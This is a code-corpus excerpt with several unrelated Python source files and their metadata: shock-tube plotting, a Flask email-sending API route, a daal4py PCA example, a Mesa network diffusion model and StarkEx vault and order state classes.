'k-')\n pyplot.ylabel('$rho$',fontsize=16)\n pyplot.tick_params(axis='x',bottom=False,labelbottom=False)\n pyplot.grid(True)\n\n pyplot.subplot(4, 1, 2)\n pyplot.plot(x_domain, u, 'r-')\n pyplot.ylabel('$U$',fontsize=16)\n pyplot.tick_params(axis='x',bottom=False,labelbottom=False)\n pyplot.grid(True)\n\n pyplot.subplot(4, 1, 3)\n pyplot.plot(x_domain, p, 'b-')\n pyplot.ylabel('$p$',fontsize=16)\n pyplot.tick_params(axis='x',bottom=False,labelbottom=False)\n pyplot.grid(True)\n \n pyplot.subplot(4, 1, 4)\n pyplot.plot(x_domain, E, 'g-')\n pyplot.ylabel('$E$',fontsize=16)\n pyplot.grid(True)\n pyplot.xlim(x_lower,x_upper)\n pyplot.xlabel('x',fontsize=16)\n pyplot.subplots_adjust(left=0.2)\n pyplot.subplots_adjust(bottom=0.15)\n pyplot.subplots_adjust(top=0.95)\n #pyplot.show()\n import os\n os.makedirs('roe_scheme_results',exist_ok=True)\n fig.savefig(f\"roe_scheme_results/fig_Sod_Roe_it_{itCount:04d}.png\", dpi=300)\n", "repo_name": "nasa/shocktube", "sub_path": "Analytical-Roe.py", "file_name": "Analytical-Roe.py", "file_ext": "py", "file_size_in_byte": 9423, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "matplotlib.rc", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 258, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 259, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 261, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 264, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 267, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 267, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 268, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 268, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 271, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 271, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 274, "usage_type": "call"}]} +{"seq_id": "33669898241", "text": "from flask import Blueprint, request, jsonify\nfrom config.env import SECRET_EMAIL_SENDER, SECRET_PASSWORD_SENDER, SECRET_EMAILS_ADDRESSEE\nfrom config.vars import NAME_BASE_API\nfrom util.tokens import validate_tocken\nimport yagmail\n\nmessage_pages = Blueprint('message_pages', __name__)\n\n\n@message_pages.before_request\ndef verifyTockenForAboutInfo():\n \"\"\"This function verifies that the client or user has passed an access token through the headers with the X-Tocken property, if this property does not exist or is not valid, access to the information will not be given.\n\n Returns:\n (Response | None): Returns a response in json format if an error occurs, if everything is correct let the next function enter the one that has the data.\n \"\"\"\n\n # Verify that the token is found and valid.\n try:\n # Obtain the tocken with the tag \"X-Tocken\" and verify it with the function created to validate tockens.\n tocken_header = request.headers['X-Tocken']\n return validate_tocken(tocken=tocken_header, output=False)\n except:\n # This error is usually obtained when there is no X-Tocken tag, it responds with json with the requested message.\n response = jsonify({\n \"msg\": \"The header does not contain any 'X-Tocken' property, please create a tocken before requesting information.\",\n \"msg web\": \"Hi, this api is in charge of serving some data and other materials for my web pages and projects like my portfolio, it hosts several types of methods like sending messages etc. In order to use this api is required the user and password this to generate a tocken that gives the authorization to the api.\",\n \"body\": None\n })\n response.status_code = 401\n response.headers.set('Content-Type', 'application/json; charset=utf-8')\n return response\n\n\n@message_pages.route('/gmail', methods=['POST'])\ndef sendToMessageInGmail():\n \"\"\"This address allows you to send an email from gmail.\n\n Returns:\n (Response): It sends a message in json format that indicates the status of the function if it is concrete or if there was an error.\n \"\"\"\n\n try:\n # Extracts the content passed by the request.\n content = request.get_json()\n url_origin = content[\"url\"]\n subject = content[\"subject\"]\n user_name = content[\"propertys\"][\"name\"]\n user_last_name = content[\"propertys\"][\"last_name\"]\n user_email = content[\"propertys\"][\"email\"]\n user_phone = content[\"propertys\"][\"phone\"]\n message = content[\"message\"]\n # Special texts created as lists.\n greetings = f\"

Hola {NAME_BASE_API}

\"\n direccion_origin = f\"

Origen '{url_origin}'

\"\n item_name = f\"
  • Soy {user_name} {user_last_name}
    • \"\n item_email = f\"
  • Mi correo es {user_email}
    • \"\n item_phone = f\"
  • Mi telefono es {user_phone}
    • \"\n propertys = f\"
      {item_name}{item_email}{item_phone}
    \"\n emails_addressee = SECRET_EMAILS_ADDRESSEE.split(\", \")\n\n try:\n # Create the email connection.\n yag = yagmail.SMTP(user=SECRET_EMAIL_SENDER,\n password=SECRET_PASSWORD_SENDER)\n # Sends the message with the properties extracted before.\n yag.send(emails_addressee, subject, [\n greetings, direccion_origin, propertys, message])\n # Message sent when the message is successfully sent.\n response = jsonify(\n {\"msg\": \"Message sent successfully\", \"body\": content})\n response.headers.set(\n 'Content-Type', 'application/json; charset=utf-8')\n response.status_code = 200\n return response\n except:\n # Error message in the event of an error in data transmission.\n response = jsonify({\"msg\": \"Error sending message\"})\n response.headers.set(\n 'Content-Type', 'application/json; charset=utf-8')\n response.status_code = 401\n return response\n except:\n # In case of an error in obtaining the data send error message.\n response = jsonify(\n {\"msg\": \"There was an error in extracting the required data.\"})\n response.headers.set('Content-Type', 'application/json; charset=utf-8')\n response.status_code = 401\n return response\n", "repo_name": "EddyBel/My-personal-api", "sub_path": "app/routes/message.py", "file_name": "message.py", "file_ext": "py", "file_size_in_byte": 4392, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "util.tokens.validate_tocken", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "name"}, {"api_name": "config.vars.NAME_BASE_API", "line_number": 54, "usage_type": "name"}, {"api_name": "config.env.SECRET_EMAILS_ADDRESSEE.split", "line_number": 60, "usage_type": "call"}, {"api_name": "config.env.SECRET_EMAILS_ADDRESSEE", "line_number": 60, "usage_type": "name"}, {"api_name": "yagmail.SMTP", "line_number": 64, "usage_type": "call"}, {"api_name": "config.env.SECRET_EMAIL_SENDER", "line_number": 64, "usage_type": "name"}, {"api_name": "config.env.SECRET_PASSWORD_SENDER", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 85, "usage_type": "call"}]} +{"seq_id": "11071294487", "text": "import daal4py as d4p\nimport numpy as np\nfrom daal4py.oneapi import sycl_context, sycl_buffer\n\n# let's try to use pandas' fast csv reader\ntry:\n import pandas\n read_csv = lambda f, c=None, t=np.float64: pandas.read_csv(f, usecols=c, delimiter=',', header=None, dtype=t)\nexcept:\n # fall back to numpy loadtxt\n read_csv = lambda f, c=None, t=np.float64: np.loadtxt(f, usecols=c, delimiter=',', ndmin=2)\n\n\n# Commone code for both CPU and GPU computations\ndef compute(data):\n # 'normalization' is an optional parameter to PCA; we use z-score which could be configured differently\n zscore = d4p.normalization_zscore()\n # configure a PCA object\n algo = d4p.pca(resultsToCompute=\"mean|variance|eigenvalue\", isDeterministic=True, normalization=zscore)\n return algo.compute(data)\n\n\n# At this moment with sycl we are working only with numpy arrays\ndef to_numpy(data):\n try:\n from pandas import DataFrame\n if isinstance(data, DataFrame):\n return np.ascontiguousarray(data.values)\n except:\n pass\n try:\n from scipy.sparse import csr_matrix\n if isinstance(data, csr_matrix):\n return data.toarray()\n except:\n pass\n return data\n\n\ndef main(readcsv=read_csv, method='svdDense'):\n infile = \"./data/batch/pca_normalized.csv\"\n\n # Load the data\n data = readcsv(infile)\n\n # Using of the classic way (computations on CPU)\n result_classic = compute(data)\n \n data = to_numpy(data)\n\n # It is possible to specify to make the computations on GPU\n with sycl_context('gpu'):\n sycl_data = sycl_buffer(data)\n result_gpu = compute(sycl_data)\n\n # It is possible to specify to make the computations on CPU\n with sycl_context('cpu'):\n sycl_data = sycl_buffer(data)\n result_cpu = compute(sycl_data)\n\n # PCA result objects provide eigenvalues, eigenvectors, means and variances\n assert result_classic.eigenvalues.shape == (1, data.shape[1])\n assert result_classic.eigenvectors.shape == (data.shape[1], data.shape[1])\n assert result_classic.means.shape == (1, data.shape[1])\n assert result_classic.variances.shape == (1, data.shape[1])\n\n assert np.allclose(result_classic.eigenvalues, result_gpu.eigenvalues)\n assert np.allclose(result_classic.eigenvectors, result_gpu.eigenvectors)\n assert np.allclose(result_classic.means, result_gpu.means, atol=1e-7)\n assert np.allclose(result_classic.variances, result_gpu.variances)\n\n assert np.allclose(result_classic.eigenvalues, result_cpu.eigenvalues)\n assert np.allclose(result_classic.eigenvectors, result_cpu.eigenvectors)\n assert np.allclose(result_classic.means, result_cpu.means, atol=1e-7)\n assert np.allclose(result_classic.variances, result_cpu.variances)\n\n return result_classic\n\n\nif __name__ == \"__main__\":\n result = main()\n print(\"\\nEigenvalues:\\n\", result.eigenvalues)\n print(\"\\nEigenvectors:\\n\", result.eigenvectors)\n print(\"\\nMeans:\\n\", result.means)\n print(\"\\nVariances:\\n\", result.variances)\n print('All looks good!')\n", "repo_name": "pvelesko/testing", "sub_path": "dpc/examples/daal/pca_batch.py", "file_name": "pca_batch.py", "file_ext": "py", "file_size_in_byte": 3064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.float64", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 11, "usage_type": "call"}, {"api_name": "daal4py.normalization_zscore", "line_number": 17, "usage_type": "call"}, {"api_name": "daal4py.pca", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "argument"}, {"api_name": "numpy.ascontiguousarray", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 33, "usage_type": "argument"}, {"api_name": "daal4py.oneapi.sycl_context", "line_number": 52, "usage_type": "call"}, {"api_name": "daal4py.oneapi.sycl_buffer", "line_number": 53, "usage_type": "call"}, {"api_name": "daal4py.oneapi.sycl_context", "line_number": 57, "usage_type": "call"}, {"api_name": "daal4py.oneapi.sycl_buffer", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "18561682712", "text": "from mesa import DataCollector\n\nfrom mesa_model.granovetter_model import GranovetterModel\nfrom mesa_model.neighbourhood_agent import NeighbourhoodAgent\nfrom utilities.model_util import *\nfrom utilities.network_util import *\n\n\nclass NeighbourhoodModel(GranovetterModel):\n\n def __init__(self, run, num_of_nodes, mu, sigma, out_degree, networkType, knowledge, distributionType, networkData):\n \"\"\"\n Initialisation of the model.\n\n :param run:\n :param num_of_nodes: Number of agents (or nodes) in the network.\n :param networkType: The type of network used for the model (directed/undirected).\n :param knowledge: Boolean that shows whether an agent can see the whole network or only its neighbourhood.\n :param distributionType: The type of distribution used to sample the agent thresholds.\n :param mu: The mean of the threshold distribution.\n :param sigma: The standard deviation of the threshold distribution.\n :param out_degree: The out-degree of each node in the network.\n :param networkData: A class containing data about the network and agent thresholds.\n \"\"\"\n\n # Initialization\n self.run = run\n self.neighbourhood = knowledge\n self.networkData = networkData\n\n super().__init__(num_of_nodes, networkType, distributionType, mu, sigma, out_degree)\n\n def createDataCollector(self):\n datacollector = DataCollector(\n model_reporters={\"engagement_ratio\": calculate_engagement_ratio,\n \"diffusion_rate\": calculate_diffusion_rate},\n # agent_reporters={\"state\": \"state.value\"}\n )\n return datacollector\n\n def generateNetwork(self):\n \"\"\"\n Create network (and grid) with set in-degree and random out-degree.\n :return:\n \"\"\"\n\n # We do not have a previously used network\n if self.networkData.network is None:\n # print(\"First network created\")\n self.networkData.createNewNetwork(self.networkType, self.num_of_nodes, self.out_degree, self.distributionType, self.mu, self.sigma)\n\n elif self.run == RunType.KnowledgeComparison.value:\n # We want to create a new network for each iteration (when neighbourhood is False)\n if not self.neighbourhood:\n # print(self.neighbourhood, \": New network created where whole network is visible to agents\")\n self.networkData.createNewNetwork(self.networkType, self.num_of_nodes, self.out_degree, self.distributionType, self.mu, self.sigma)\n # else:\n # print(self.neighbourhood, \": Using the existing network but only the neighbourhood is visible to agents\")\n\n elif self.run == RunType.NetworkComparison.value:\n # We want to create a new directed network\n if self.networkType == NetworkType.Directed.value:\n # print(self.networkType, \": Directed network created\")\n self.networkData.createNewNetwork(self.networkType, self.num_of_nodes, self.out_degree, self.distributionType, self.mu, self.sigma)\n\n # Convert previously used directed network to an undirected network\n else:\n # print(self.networkType, \": Network converted to undirected network\")\n self.networkData.convertNetwork()\n\n elif self.run == RunType.SigmaComparison.value:\n self.networkData.generateNewThresholds(self.distributionType, self.mu, self.sigma)\n\n else:\n self.networkData.createNewNetwork(self.networkType, self.num_of_nodes, self.out_degree, self.distributionType, self.mu, self.sigma)\n\n G = self.networkData.network\n\n # Create agent thresholds.\n thresholds = self.networkData.thresholds\n return G, thresholds\n\n def getNetworkType(self):\n \"\"\"\n\n :return:\n \"\"\"\n return self.networkType\n\n def generateAgents(self):\n \"\"\"\n\n \"\"\"\n # Create agents\n for node in list(self.G.nodes()):\n agent = NeighbourhoodAgent(node, self, self.neighbourhood, State.DEFECT, self.thresholds[node])\n self.schedule.add(agent)\n self.grid.place_agent(agent, node)\n\n def step(self):\n \"\"\"\n A single step of the model.\n The step function of all the agents is activated in the order\n specified by the scheduler and data is collected by the DataCollector.\n \"\"\"\n self.datacollector.collect(self)\n self.schedule.step()\n\n # Stop the model if all agents are cooperating\n if number_cooperating(self) == self.cooperating:\n self.datacollector.collect(self)\n self.running = False\n\n self.cooperating = number_cooperating(self)\n", "repo_name": "SophieTijssen/BSc.Project-Gridt", "sub_path": "Code/mesa_model/neighbourhood_model.py", "file_name": "neighbourhood_model.py", "file_ext": "py", "file_size_in_byte": 4387, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "mesa_model.granovetter_model.GranovetterModel", "line_number": 9, "usage_type": "name"}, {"api_name": "mesa.DataCollector", "line_number": 34, "usage_type": "call"}, {"api_name": "mesa_model.neighbourhood_agent.NeighbourhoodAgent", "line_number": 96, "usage_type": "call"}]} +{"seq_id": "30279034878", "text": "from collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom typing import Awaitable, Callable, ClassVar, Dict, Type\n\nimport marshmallow\nimport marshmallow_dataclass\n\nfrom starkware.error_handling import (\n StarkMsg, stark_assert, stark_assert_eq, stark_assert_le, stark_assert_ne)\nfrom starkware.storage import HASH_BYTES, Fact\n\nfrom .fields import IntAsHex, IntAsStr\n\nMAX_AMOUNT = 2 ** 63\n\n\n@dataclass\nclass VaultUpdateData:\n vault_id: int\n stark_key: int = field(metadata={'marshmallow_field': IntAsHex(required=True)})\n token: int = field(metadata={'marshmallow_field': IntAsHex(required=True)})\n diff: int\n\n\n@dataclass\nclass VaultState:\n stark_key: int = field(metadata={'marshmallow_field': IntAsHex(required=True)})\n token: int = field(metadata={'marshmallow_field': IntAsHex(required=True)})\n balance: int = field(metadata={'marshmallow_field': IntAsStr(required=True)})\n\n def __post_init__(self):\n stark_assert(\n 0 <= self.balance < MAX_AMOUNT,\n StarkMsg.OUT_OF_RANGE_BALANCE,\n 'Balance is negative or out of range')\n if self.balance == 0:\n self.stark_key = 0\n self.token = 0\n else:\n stark_assert_ne(0, self.stark_key, StarkMsg.INVALID_VAULT,\n 'A non empty vault cannot have an empty stark key')\n stark_assert_ne(0, self.token, StarkMsg.INVALID_VAULT,\n 'A non empty vault cannot have an empty token')\n\n @classmethod\n def empty(cls) -> 'VaultState':\n return cls(\n stark_key=0,\n token=0,\n balance=0,\n )\n\n def add(self, change: VaultUpdateData) -> 'VaultState':\n if self.balance > 0:\n # Vault is non-empty - validate it.\n stark_assert_eq(self.stark_key, change.stark_key, StarkMsg.INVALID_VAULT,\n 'Vault does not match stark_key')\n stark_assert_eq(self.token, change.token, StarkMsg.INVALID_VAULT,\n 'Vault does not match token')\n return self.__class__(stark_key=change.stark_key,\n token=change.token,\n balance=self.balance + change.diff)\n\n\n@marshmallow_dataclass.dataclass\nclass VaultStateFact(VaultState, Fact):\n Schema: ClassVar[Type[marshmallow.Schema]] = marshmallow.Schema\n\n @classmethod\n def prefix(cls):\n return b'vault_state'\n\n def serialize(self) -> bytes:\n return VaultStateFact.Schema().dumps(self).encode('ascii') # type: ignore\n\n async def _hash(self, hash_func: Callable[[bytes, bytes], Awaitable[bytes]]) -> bytes:\n hash0 = await hash_func(self.stark_key.to_bytes(HASH_BYTES, 'big'),\n self.token.to_bytes(HASH_BYTES, 'big'))\n return await hash_func(hash0, self.balance.to_bytes(HASH_BYTES, 'big'))\n\n @classmethod\n def deserialize(cls, data: bytes) -> 'VaultStateFact':\n return cls.Schema().loads(data) # type: ignore\n\n\n@dataclass\nclass OrderUpdateData:\n order_id: int\n diff: int\n capacity: int\n\n\n@dataclass\nclass OrderState:\n fulfilled_amount: int = field(metadata={'marshmallow_field': IntAsStr(required=True)})\n\n def __post_init__(self):\n stark_assert(\n 0 <= self.fulfilled_amount < MAX_AMOUNT,\n StarkMsg.INVALID_FULFILLED_AMOUNT,\n 'Fulfilled amount is negative or out of range')\n\n @classmethod\n def empty(cls) -> 'OrderState':\n return cls(0)\n\n def add(self, change: OrderUpdateData) -> 'OrderState':\n stark_assert(\n 0 <= change.diff < MAX_AMOUNT,\n StarkMsg.OUT_OF_RANGE_DIFF,\n f'Negative or out of range party sold value')\n stark_assert_le(\n self.fulfilled_amount + change.diff, change.capacity,\n StarkMsg.CONFLICTING_SETTLEMENT_AMOUNTS,\n f'Settlement fulfilled amounts exceeds capacity')\n return self.__class__(self.fulfilled_amount + change.diff)\n\n\n@marshmallow_dataclass.dataclass\nclass OrderStateFact(OrderState, Fact):\n Schema: ClassVar[Type[marshmallow.Schema]] = marshmallow.Schema\n\n @classmethod\n def prefix(cls):\n return b'order_state'\n\n def serialize(self) -> bytes:\n return OrderStateFact.Schema().dumps(self).encode('ascii') # type: ignore\n\n async def _hash(self, hash_func: Callable[[bytes, bytes], Awaitable[bytes]]) -> bytes:\n return self.fulfilled_amount.to_bytes(HASH_BYTES, 'big')\n\n @classmethod\n def deserialize(cls, data: bytes) -> 'OrderStateFact':\n return cls.Schema().loads(data) # type: ignore\n\n\n@dataclass\nclass PartialState:\n vaults: Dict[int, VaultState]\n orders: Dict[int, OrderState]\n\n @classmethod\n def empty(cls):\n \"\"\"\n A Full state, with all leaves filled with the empty leaf.\n This is different than a partial state, with missing keys.\n \"\"\"\n return cls(\n vaults=defaultdict(VaultStateFact.empty),\n orders=defaultdict(OrderStateFact.empty),\n )\n\n def update_partial_state(self, vaults: Dict[int, VaultState],\n orders: Dict[int, OrderState]) -> 'PartialState':\n new_vaults = vaults.copy()\n new_vaults.update(self.vaults)\n new_orders = orders.copy()\n new_orders.update(self.orders)\n return PartialState(vaults=new_vaults, orders=new_orders)\n\n def keep_diffs(self, reference_state):\n \"\"\"\n Keeps only the leafs that were changed relative to 'reference_state'.\n\n self is modified in-place and all the unchanged leafs are deleted.\n \"\"\"\n for vault_id, orig_state in reference_state.vaults.items():\n if self.vaults[vault_id] == orig_state:\n del self.vaults[vault_id]\n for order_id, orig_state in reference_state.orders.items():\n if self.orders[order_id] == orig_state:\n del self.orders[order_id]\n return self\n\n def __le__(self, other) -> bool:\n \"\"\"\n Returns true if and only if this state is partial to other.\n \"\"\"\n assert isinstance(other, PartialState)\n try:\n for k in self.vaults.keys():\n if self.vaults[k] != other.vaults[k]:\n return False\n for k in self.orders.keys():\n if self.orders[k] != other.orders[k]:\n return False\n except KeyError:\n return False\n return True\n\n def __eq__(self, other):\n return self <= other and other <= self\n", "repo_name": "starkware-libs/starkex-resources", "sub_path": "stark_ex_objects/starkware/objects/state.py", "file_name": "state.py", "file_ext": "py", "file_size_in_byte": 6608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 83, "dataset": "github-code", "pt": "85", "api": [{"api_name": "dataclasses.field", "line_number": 20, "usage_type": "call"}, {"api_name": "fields.IntAsHex", "line_number": 20, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 21, "usage_type": "call"}, {"api_name": "fields.IntAsHex", "line_number": 21, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 17, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 27, "usage_type": "call"}, 